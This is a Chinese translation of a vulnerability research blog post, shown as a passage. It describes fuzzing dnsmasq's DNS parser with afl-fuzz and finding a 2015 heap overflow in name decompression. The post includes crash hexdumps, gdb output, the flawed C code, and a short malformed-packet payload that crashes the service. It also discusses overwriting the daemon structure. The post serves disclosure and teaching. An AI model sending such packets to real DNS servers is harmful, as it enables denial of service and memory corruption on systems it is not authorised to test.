是始作俑者之一。
无论如何,如果一个项目可以进行评估dnsmasq和一些互联网基础设施中的关键部分,那么这个项目一点非常有趣。现在,通过一些新方法使用fuzzing,我发现了一个几乎可以完全被利用的漏洞。
尽管我已经开始写exp了,但我没有完成它。我认为这个漏洞是肯定可以被利用的,如果你有时间想了解漏洞是如何利用的,那么它值得你继续往下看。 这个链接 是受到威胁的Dnsmasq版本,我会在后文讲述我的工作。
同时你可以下载 我分支的项目 ,这同样是一个易受到攻击的版本(我从官方分支下来的),唯一的区别在于它包含一些fuzzing的代码和debug的输出。
dnsmasq
不知道dnsmasq的朋友请看这里, dnsmasq 是一个为让你同时运行多种不同网络协议(比如:DNS、DHCP、DHCP6和TFTP等等协议)而设计的一种服务。这里我们只关注DNS(因为我测试了其他协议没有发现什么问题),当说到fuzzing时,缺少证据并不等同于证据缺失。dnsmasq几乎是由Simon Kelley一个作者独立完成的,而在此之前dnsmasq几乎没有被发现存在漏洞过,这也许是件好事(作者代码写的完美),也许是件坏事(没人关注):)
如论如何,作者还是还是令人印象深刻的,下面我整理了一个时间线
2015.5.12 发现漏洞 2015.5.14 将漏洞报告给了作者 2015.5.14 作者提交了一个候选补丁 2015.5.15 补丁正是提交
这个漏洞的修复速度大大超出了我的想象。
DNS重要的部分
这个漏洞存在于NDS域名解析的代码中,所以下面值得花些时间来仔细讲解下DNS协议。当然如果你已经熟悉了DNS数据包结构和域名解析的流程,那么你可以跳过这一章。
请注意,我只会讲解这个漏洞所涉及到的DNS协议部分,这意味着我不会讲完整个DNS协议。如果你想了解完整的DNS协议,那么建议你查看RFCs(rfc1035)或者查看维基百科。我建议大家能够学习自己手工构造一个DNS请求包发给DNS服务器,因为这是一个值得掌握的技能,而且也仅仅只需要记住16个bit而已:)
DNS就其核心来说其实很简单。一台客户端想要查看一个主机名,他就向服务器发送一个包含DNS请求的询问包(通常使用UDP端口号53,但是同样可以使用TCP协议),这时神奇的事情发生了,服务器根据缓存或者递归查询到的结果返回给客户端一个包含零个或多个DNS解析结果的应答包。
DNS包结构(DNS packet structure)
DNS包的组成结果如下:
(int16)ID号(trn_id) (int16)标识(包括QR[查询/相应],Opcode,RD[期望递归],RA[支持递归]和其他一些我忘了的部分) (int16)问题计数(qdcount) (int16)应答计数(ancount) (int16)授权计数(nscount) (int16)附加计数(arcount) (variable)询问(questions) (variable)应答(answers) (variable)授权(authorities) (variable)附加(additionals)
(译者附图如下)
后面四个部分-询问,应答,授权和附加-被统称为“资源记录(resource records)”。不同类型的的资源记录有不同的属性,但我们不用去纠结这个,一个一般的问题记录格式如下:
(variable) 名字(最重要的部分) (int16) 类型(A/AAAA/CNAME等等) (int16) 分类(对于公网地址总是为0x0001)
NDS名字(DNS names)
询问和应答包通常包含一个域名(domain name)。一个域名通常为如下形式:
this.is.a.name.skullseclabs.org
但是在资源记录包中,每一个字段前都标有自己的长度,以零标识结尾:
/x04this/x02is/x01a/x04name/x0cskullseclabs/x03org/x00
其中每个字段最大的长度为63(0x3f)bytes。如果字段以0×40, 0×80, 0xc0和其他一些值,则他们有特殊的意义(我们一会会见到)。
询问和应答(Questions and answers)
当我们想DNS服务器发送一个DNS查询时,DNS询问包的结构通常如下:
(头部) question count = 1 question 1: ANY record for skullsecurity.org?
而应答包的结构通常如下:
(头部) question count = 1 answer count = 11 question 1: ANY record for "skullsecurity.org"? answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA" answer 2: "skullsecurity.org" has a MX record for "ASPMX.L.GOOGLE.com". answer 3: "skullsecurity.org" has a A record for "206.220.196.59" ...
(以上来自真实的记录)
如果你数学不错的话,你应该发现了"skullsecurity.org" 占了18个字节,同时我们得到了11个应答结果,这意味着我们浪费了18*11近200个字节。在以前,200个字节可不是小数,放到现在,当我们处理数以万计的询问请求时200个字节依旧还是有些大。
记录指针(Record pointers)
还记得上面说的DNS名字中每个字段起始值不能超过63(0x3f)吧,那么特殊的值呢?我们来关注下0xc0这个值。
0xc0代表“下一个比特是一个指针,在相对于包的起始位置的一个偏移处有一个名字”
通常你会见到如下:
12比特的头部(trn_id + flags + counts) question 1: ANY record for "skullsecurity.org" answer 1: /xc0/x0c has a TXT record of "oh hai NSA" answer 2: /xc0/x0c ...
"/xc0"表示后面是一个指针,"/x0c"表示相对于包的起始位置0x0c(12)比特处,注意是从头部后开始算起的。同样的你也可以将它视为域名的一部分,这样你的应答可以是"/x03www/xc0/x0c",同样也可以变为"www.skullsecurity.org"(假设这个字符串从12个比特起始) 。
无论是客户端还是服务器端都很常见的一个DNS解析问题是如何应对无限循环攻击(infinite loop attack)。一般的攻击包结果如下:
12比特头部 question 1: ANY record for "/xc0/x0c"
因为question 1是一个自我参照(self-referential),他不停的查询着自己的名字而这个名字却从未完成解析过。dnsmasq通过限制参照最多256次来解决这个问题,这种设定可以防止拒绝服务攻击,但也埋下了一个可以被利用的漏洞:)
开始fuzz
现在我们都是DNS的专家了,对吗?很好,因为下面我们要自己手动构造一个DNS包。
在我们开始讲解漏洞前,我想讲下我是如何配置fuzzing的。作为一个网络应用,我们需要进行网络测试,这里我非常想尝试使用 afl-fuzz 和 lcamtuf 这两个基于文件格式的测试工具。
afl-fuzz是一个非常智能的文件格式测试工具,通过对可执行文件(无论特别编译过还是使用二进制分析)进行一系列特殊操作,根据每次操作的结果来决定是否命中了新的代码(new code)。afl-fuzz通过优化每次循环来尽力寻找到所有的新代码的路径,这相当不错。
但是很不幸,DNS不使用文件,而是使用数据包。但是因为客户端和服务器端同一时刻内只能处理一个数据包,所以我决定修改dnsmasq使得它每次从文件中读取一个数据包,进行解析(包括询问和应答),然后结束退出。这样我就能使用afl-fuzz进行测试了。
很不幸,这项工作非常的繁琐。解析代码和网络代码是混合在一起的,我重构了"recv_msg()" 和"recv_from()",还修改了其他相关的函数调用。当然这些都通过可以使用LD_PRELOAD钩子完成,因为我手里有源码就不用这么做了。如果你想重现,那么请跟随以下命令(我是在64位Linux上完成的,但我不明白为什么它不能再其他平台完成):
$ git clone https://github.com/iagox86/dnsmasq-fuzzing Cloning into 'dnsmasq-fuzzing'... [...] $ cd dnsmasq-fuzzing/ $ CFLAGS=-DFUZZ make -j10 [...] $ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin dnsmasq: started, version cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify dnsmasq: reading /etc/resolv.conf [...] Segmentation fault
警告:DNS是递归的,在修改中我没有禁止递归请求。这意味着dnsmasq会于上游的DNS服务器进行通信,而我们的操作可能影响到这些上游DNS服务器(事实上我测试时已经出现了事故,但我们后面不会涉及这块)
真正开始模糊测试
一旦你开始让程序进行模糊测试,那么模糊测试就变的非常简单了。
首先,我们需要一个DNS询问包和应答包,这样我们就能测试客户端和服务器。
如果你不想像我一样浪费时间,那么你可以自己构造一个询问包发给服务器,然后记录下应答包:
$ mkdir -p fuzzing/client/input/ $ mkdir -p fuzzing/client/output/ $ echo -ne "/x12/x34/x01/x00/x00/x01/x00/x00/x00/x00/x00/x00/x06google/x03com/x00/x00/x01/x00/x01" > fuzzing/client/input/request.bin $ mkdir -p fuzzing/server/input/ $ mkdir -p fuzzing/server/output/ $ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin
如果你好奇那么我们就来分析包的结构:
"/x12/x34" - trn_id - 仅仅是个随机数 "/x01/x00" - flags - 说明flag中的RD是递归查询 "/x00/x01" - qdcount = 1 "/x00/x00" - ancount = 0 "/x00/x00" - nscount = 0 "/x00/x00" - arcount = 0 "/x06google/x03com/x00" - name = "google.com" "/x00/x01" - type = A "/x00/x01" - (Internet)
你可以通过使用hexdump验证相应包:
$ hexdump -C response.bin 00000000 12 34 81 80 00 01 00 0b 00 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 |gle.com.........| 00000020 00 01 00 00 01 2b 00 04 ad c2 21 67 c0 0c 00 01 |.....+....!g....| 00000030 00 01 00 00 01 2b 00 04 ad c2 21 66 c0 0c 00 01 |.....+....!f....| 00000040 00 01 00 00 01 2b 00 04 ad c2 21 69 c0 0c 00 01 |.....+....!i....| 00000050 00 01 00 00 01 2b 00 04 ad c2 21 68 c0 0c 00 01 |.....+....!h....| 00000060 00 01 00 00 01 2b 00 04 ad c2 21 63 c0 0c 00 01 |.....+....!c....| 00000070 00 01 00 00 01 2b 00 04 ad c2 21 61 c0 0c 00 01 |.....+....!a....| 00000080 00 01 00 00 01 2b 00 04 ad c2 21 6e c0 0c 00 01 |.....+....!n....| 00000090 00 01 00 00 01 2b 00 04 ad c2 21 64 c0 0c 00 01 |.....+....!d....| 000000a0 00 01 00 00 01 2b 00 04 ad c2 21 60 c0 0c 00 01 |.....+....!`....| 000000b0 00 01 00 00 01 2b 00 04 ad c2 21 65 c0 0c 00 01 |.....+....!e....| 000000c0 00 01 00 00 01 2b 00 04 ad c2 21 62 |.....+....!b|
留意包是以 "/x12/x34" 起始的(我需要发送同样的trn_id),其中询问计数为1,应答计数为0x0b(11),包含12个比特的"/x06google/x03com/x00"。了解这些会使理解后面的内容更加容易。但是最重要的部分还在于"/xc0/x0c"这。事实上,每一个应答都是从"/xc0/x0c"起始的,因为每一个应答都是指向第一个的,这也是唯一的问题。
正如我之前数的,11个应答内容全部为"/xc0/x0c"总共10比特,这样整个包只有110比特比其他的包都要小。
现在我们有了客户端和服务器的基本状态了,可以使用afl-fuzz编译二进制了。显然,这条命令都假设afl-fuzz存储在"~/tools/afl-1.77b"下(如果需要请自行修改路径)。如果你尝试编译源代码的话,命令行是不支持 CC=或者 CFLAGS=的,除非你先设置 路径 。
这是编译的命令:
$ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20
然后开始模糊测试:
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@
我们可以再另一个窗口同时进行服务器端的测试:
$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@
现在就让它慢慢测试去吧,可能需要几小时或者一晚上。
出于好玩,我同时运行了第三个实例:
$ mkdir -p fuzzing/hello/input $ echo "hello" > fuzzing/hello/input/hello.bin $ mkdir -p fuzzing/hello/output $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@
这个嘛…就是发送"hello"而不是真实DNS包,然后找到一个包的数量级使得程序更容易崩溃。
模糊测试结果
运行了一个通宵后,早上(运行了近20小时)结果出来了:
7个崩溃,来自封装完好的询问包 10个崩溃,来自封装完好的应答包 93个崩溃,来自"hello"
如果你想,你可以下载我的 实验结果 。
结果分析
尽管我们有超过100多个崩溃,但是我们发现都是由同一个核心问题导致的。如果不知道,那么我们需要选取一些样本来分析。发送一个封装完好的询问包和发送一个"hello"包之间的差别是非常明显的,使用以"hello"为PoC我们得到:
crashes $ hexdump -C id/:000024/,sig/:11/,src/:000234+000399/,op/:splice/,rep/:16 00000000 68 00 00 00 00 01 00 02 e8 1f ec 13 07 06 e9 01 |h...............| 00000010 67 02 e8 1f c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |g...............| 00000020 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000030 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 b8 c0 c0 c0 c0 c0 |................| 00000040 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000050 c0 c0 c0 c0 c0 c0 c0 c0 c0 af c0 c0 c0 c0 c0 c0 |................| 00000060 c0 c0 c0 c0 cc 1c 03 10 c0 01 00 00 02 67 02 e8 |.............g..| 00000070 1f eb ed 07 06 e9 01 67 02 e8 1f 2e 2e 10 2e 2e |.......g........| 00000080 00 07 2e 2e 2e 2e 00 07 01 02 07 02 02 02 07 06 |................| 00000090 00 00 00 00 7e bd 02 e8 1f ec 07 07 01 02 07 02 |....~...........| 000000a0 02 02 07 06 00 00 00 00 02 64 02 e8 1f ec 07 07 |.........d......| 000000b0 06 ff 07 9c 06 49 2e 2e 2e 2e 00 07 01 02 07 02 |.....I..........| 000000c0 02 02 05 05 e7 02 02 02 e8 03 02 02 02 02 80 c0 |................| 000000d0 c0 c0 c0 c0 c0 c0 c0 c0 c0 80 1c 03 10 80 e6 c0 |................| 000000e0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 000000f0 c0 c0 c0 c0 c0 c0 b8 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000100 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000110 c0 c0 c0 c0 c0 af c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000120 cc 1c 03 10 c0 01 00 00 02 67 02 e8 1f eb ed 07 |.........g......| 00000130 00 95 02 02 02 05 e7 02 02 10 02 02 02 02 02 00 |................| 00000140 00 80 03 02 02 02 f0 7f c7 00 80 1c 03 10 80 e6 |................| 00000150 00 95 02 02 02 05 e7 67 02 02 02 02 02 02 02 00 |.......g........| 00000160 00 80 |..|
或者如果我们以最小代价运行afl-tmin
00000000 30 30 00 30 00 01 30 30 30 30 30 30 30 30 30 30 |00.0..0000000000| 00000010 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000020 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000030 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 c0 30 |0000000000000..0| 00000040 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000050 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000060 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000070 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000080 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000090 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000a0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000b0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000c0 05 30 30 30 30 30 c0 c0
(注意末尾处的0xc0 – 呵呵我们的老朋友 – 最后算出"/xc0/x0c",这个最简单的示例,却会出现更加复杂的情况)
下面是四个从有效询问包出发发出的崩溃信息:
crashes $ hexdump -C id/:000000/,sig/:11/,src/:000034/,op/:flip2/,pos/:24 00000000 12 34 01 00 00 01 00 00 00 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 01 00 01 |gle.com.....| 0000001c crashes $ hexdump -C id/:000001/,sig/:11/,src/:000034/,op/:havoc/,rep/:4 00000000 12 34 08 00 00 01 00 00 e1 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 01 00 01 |gle.com.....| 0000001c crashes $ hexdump -C id/:000002/,sig/:11/,src/:000034/,op/:havoc/,rep/:2 00000000 12 34 01 00 eb 00 00 00 00 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 01 00 01 |gle.com.....| crashes $ hexdump -C id/:000003/,sig/:11/,src/:000034/,op/:havoc/,rep/:4 00000000 12 34 01 00 00 01 01 00 00 00 10 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 00 00 00 00 00 06 67 |gle.com........g| 00000020 6f 6f 67 6c 65 03 63 6f 6d c0 00 01 00 01 |oogle.com.....| 0000002e
前三个崩溃信息非常有趣,因为他们非常相似。他们的区别仅仅在于flags(0×0100或0×0800)和计数区域(第一个是没有改动,第二个是0xe100"authority",第三个是0xeb00"question")不同。但是我猜测这并不影响我们的结果,因为它们是随机的。
另外请留意在每个消息的末尾,我们又看见了老朋友"/xc0/x0c"。
我们对第一个在运行一次afl-tmin以获取更加严谨的信息。
00000000 30 30 30 30 30 30 30 30 30 30 30 30 06 30 6f 30 |000000000000.0o0| 00000010 30 30 30 03 30 30 30 c0 0c |000.000..|
跟预想的一样,询问和应答计数的值并没有影响。所有的情况都出现在域名长度和"/xc0/x0c"处。奇怪的是,它包含来自googl.com中的"o",这也许是一个bug(我的模糊测试工具有些问题,因为我们的询问请求会发向互联网,而收到的应答并不总是一样的)。
漏洞
现在我们有了一个合适的PoC了,让我们在调试器中检查它吧:
$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin Reading symbols from ./dnsmasq...done. Unable to determine compiler version. Skipping loading of libstdc++ pretty-printers for now. (gdb) run [...] Program received signal SIGSEGV, Segmentation fault. __strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135 135 ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.
它在strcpy中崩溃了,这很有趣,让我们一起来看看崩溃的那一行
(gdb) x/i $rip => 0x7ffff73cc600 <__strcpy_sse2+192>: mov BYTE PTR [rdx],al (gdb) print/x $rdx $1 = 0x0
哦,一个空指针被写入,看起来很没劲。
老实说,当我到这时就没劲了。空指针的引用必须被修复,尤其是空指针很可能藏着其他bugs,但是并没有出现我想要的状态,所以我必须修复它或者处理上百个崩溃信息。
如果我们在多看一下数据包的话,它的解析基本上是"/x06AAAAAA/x03AAA/xc0/x0c" (这里将'0'改为'A'是为了方便识别)。 "/xc0/x0c"表示从包头开始第12个字节是一个指针。当一轮解析过后,它会变为"/x06AAAAAA/x03AAA/x06AAAAAA/x03AAA/xc0/x0c"。但是当再次到达"/xc0/x0c" 时就会回到原点。基本上,是在域名解析中出现了无限循环。
那么,很明显一个自我引用会导致这样的问题出现,但是为什么呢?
我追踪了0xc0处操作的代码,其位于rfc1035.c文件中:
if (label_type == 0xc0) /* pointer */ { if (!CHECK_LEN(header, p, plen, 1)) return 0; /* get offset */ l = (l&0x3f) << 8; l |= *p++; if (!p1) /* first jump, save location to go back to */ p1 = p; hops++; /* break malicious infinite loops */ if (hops > 255) { printf("Too many hops!/n"); printf("Returning: [%d] %s/n", ((uint64_t)cp) - ((uint64_t)name), name); return 0; } p = l + (unsigned char *)header; }
乍看之下这段代码挺完美的没有什么问题(代码中的printf()函数都是我添加的源文件中没有)。如果这里没有问题的话,那么其他唯一涉及到的就是域名的解析部分了(就是前面没有0×40/0xc0等等特殊标识的),下面是它的代码:
namelen += l; if (namelen+1 >= MAXDNAME) { printf("namelen is too long!/n"); /* <-- This is what triggers. */ printf("Returning: [%d] %s/n", ((uint64_t)cp) - ((uint64_t)name), name); return 0; } if (!CHECK_LEN(header, p, plen, l)) { printf("CHECK_LEN failed!/n"); return 0; } for(j=0; j<l; j++, p++) { unsigned char c = *p; if (c != 0 && c != '.') *cp++ = c; else return 0; } *cp++ = '.';
这段代码要求每个字段前的值必须小于64(例如"google"和"com")
开始时,l是字段的长度(例如"google"就是6)。在加上当前TOTAL的长度namelen,然后在检查这个这个值是否过长,这就是防止缓冲区溢出的方法。
之后每次都会读取l个比特并复制到缓冲区cp里,这些都发生在一个堆内。这里通过检查namelen来防止溢出。
这里每个周期都会向缓冲区存入,但是namelen值却没有增加
发现问题了没?每个周期缓冲区的总长度增加l,但是却读入了l+1个比特。
事实证明,我们可以通过控制子串的长度和大小来使其溢出从而得到很多的控制权。最简单的利用就是/x08AAAAAAAA/xc0/x0c:
$ echo -ne '/x12/x34/x01/x00/x00/x01/x00/x00/x00/x00/x00/x00/x08AAAAAAAA/xc0/x0c/x00/x00/x01/x00/x01' > crash.bin $ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin [...] Segmentation fault
然而这里有两个终止条件:它仅仅只会换循环255次,同时当namelen的长度达到1024比特。所以我们想尽可能去平衡覆盖内容还是有些麻烦的,这里可能需要一些微积分的知识(如果你是一个工程师,这里有一个 优化程序 。
我们来继续说"/xc0/x0c"造成的原因在于不可能存在一个1024比特的域名字符,因为超长了过不了检测。"/xc0/x0c"让我们一遍又一遍的重复,就像不停的解压一个小字符串到内存中,最终溢出了。
利用
我之前说过空指针的引用:
(gdb) x/i $rip => 0x7ffff73cc600 <__strcpy_sse2+192>: mov BYTE PTR [rdx],al (gdb) print/x $rdx $1 = 0x0
我们使用新建的.bin文件再来重复一次崩溃,使用"/x08AAAAAAAA/xc0/x0c"作为payload:
$ echo -ne '/x12/x34/x01/x00/x00/x01/x00/x00/x00/x00/x00/x00/x08AAAAAAAA/xc0/x0c/x00/x00/x01/x00/x01' > crash.bin $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin [...] (gdb) run [...] (gdb) x/i $rip => 0x449998 <answer_request+1064>: mov DWORD PTR [rdx+0x20],0x0 (gdb) print/x $rdx $1 = 0x4141412e41414141
额?这里不是一个空指针的引用!这是将一个空字节随意写入了内存,这里可能可以利用。
就像之前说的,这里存在一个堆栈溢出。有趣的是,当程序开始后,堆栈地址只分配一次,由一个全局变量(daemon)管理。这意味着我们可以操作这个变量,至少可以操作前几百个字节:
extern struct daemon { /* datastuctures representing the command-line and. config file arguments. All set (including defaults) in option.c */ unsigned int options, options2; struct resolvc default_resolv, *resolv_files; time_t last_resolv; char *servers_file; struct mx_srv_record *mxnames; struct naptr *naptr; struct txt_record *txt, *rr; struct ptr_record *ptr; struct host_record *host_records, *host_records_tail; struct cname *cnames; struct auth_zone *auth_zones; struct interface_name *int_names; char *mxtarget; int addr4_netmask; int addr6_netmask; char *lease_file;. char *username, *groupname, *scriptuser; char *luascript; char *authserver, *hostmaster; struct iname *authinterface; struct name_list *secondary_forward_server; int group_set, osport; char *domain_suffix; struct cond_domain *cond_domain, *synth_domains; char *runfile;. char *lease_change_command; struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces; struct bogus_addr *bogus_addr, *ignore_addr; struct server *servers; struct ipsets *ipsets; int log_fac; /* log facility */ char *log_file; /* optional log file */ int max_logs; /* queue limit */ int cachesize, ftabsize; int port, query_port, min_port; unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl; struct hostsfile *addn_hosts; struct dhcp_context *dhcp, *dhcp6; struct ra_interface *ra_interfaces; struct dhcp_config *dhcp_conf; struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6; struct dhcp_vendor *dhcp_vendors; struct dhcp_mac *dhcp_macs; struct dhcp_boot *boot_config; struct pxe_service *pxe_services; struct tag_if *tag_if;. struct addr_list *override_relays; struct dhcp_relay *relay4, *relay6; int override; int enable_pxe; int doing_ra, doing_dhcp6; struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;. struct dhcp_netid_list *force_broadcast, *bootp_dynamic; struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs; int dhcp_max, tftp_max; int dhcp_server_port, dhcp_client_port; int start_tftp_port, end_tftp_port;. unsigned int min_leasetime; struct doctor *doctors; unsigned short edns_pktsz; char *tftp_prefix;. struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */ unsigned int duid_enterprise, duid_config_len; unsigned char *duid_config; char *dbus_name; unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry; #ifdef OPTION6_PREFIX_CLASS. struct prefix_class *prefix_classes; #endif #ifdef HAVE_DNSSEC struct ds_config *ds; char *timestamp_file; #endif /* globally used stuff for DNS */ char *packet; /* packet buffer */ int packet_buff_sz; /* size of above */ char *namebuff; /* MAXDNAME size buffer */ #ifdef HAVE_DNSSEC char *keyname; /* MAXDNAME size buffer */ char *workspacename; /* ditto */ #endif unsigned int local_answer, queries_forwarded, auth_answer; struct frec *frec_list; struct serverfd *sfds; struct irec *interfaces; struct listener *listeners; struct server *last_server; time_t forwardtime; int forwardcount; struct server *srv_save; /* Used for resend on DoD */ size_t packet_len; /* " " */ struct randfd *rfd_save; /* " " */ pid_t tcp_pids[MAX_PROCS]; struct randfd randomsocks[RANDOM_SOCKS]; int v6pktinfo;. struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */ int log_id, log_display_id; /* ids of transactions for logging */ union mysockaddr *log_source_addr; /* DHCP state */ int dhcpfd, helperfd, pxefd;. #ifdef HAVE_INOTIFY int inotifyfd; #endif #if defined(HAVE_LINUX_NETWORK) int netlinkfd; #elif defined(HAVE_BSD_NETWORK) int dhcp_raw_fd, dhcp_icmp_fd, routefd; #endif struct iovec dhcp_packet; char *dhcp_buff, *dhcp_buff2, *dhcp_buff3; struct ping_result *ping_results; FILE *lease_stream; struct dhcp_bridge *bridges; #ifdef HAVE_DHCP6 int duid_len; unsigned char *duid; struct iovec outpacket; int dhcp6fd, icmp6fd; #endif /* DBus stuff */ /* void * here to avoid depending on dbus headers outside dbus.c */ void *dbus; #ifdef HAVE_DBUS struct watch *watches; #endif /* TFTP stuff */ struct tftp_transfer *tftp_trans, *tftp_done_trans; /* utility string buffer, hold max sized IP address as string */ char *addrbuff; char *addrbuff2; /* only allocated when OPT_EXTRALOG */ } *daemon;
我不清楚到底这个结构体能写入多少,但是我们至少肯定能向1024个字节的缓冲区写入1368个字节,所以有前300比特的代码是可以被利用的。
我们前面所说的"空指针引用"和"将一个空字节随意写入了内存"都是因为有变量被之后使用的这个结构体覆盖了。
补丁
补丁很简单,每个循环的时候将namelen+1。
我很担心这种创建一个字符串然后之后跟踪它长度的方法,这是一种非常危险的设计方法。
利用代码
我已经写好了利用代码。在我放弃前,我基本找到了一种暴力创建字符串的方法可以覆盖随机内存位置。这是一个非常困难的工作,因为你需要判断相当多的事情(字符串前填充部分和重复字段的大小)。最终证明,在1024比特的缓冲区中最大能放入1368比特以达到效果。
示例代码可以从 这里 下载到。
总结
最后做一个总结:
我修改了dnsmasq使它每次从一个文件中读取数据包,然后使用afl-fuzz进行测试 我发现了一个漏洞,出现在解析"/xc0/x0c"名字+使用循环时 我分析了漏洞并着手写了一个exploit 鉴于漏洞出现在较新的代码中,所以我放弃了写利用代码转而写了这篇博客。
* 本文由xiaix翻译,原文出处 skullsecurity ,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)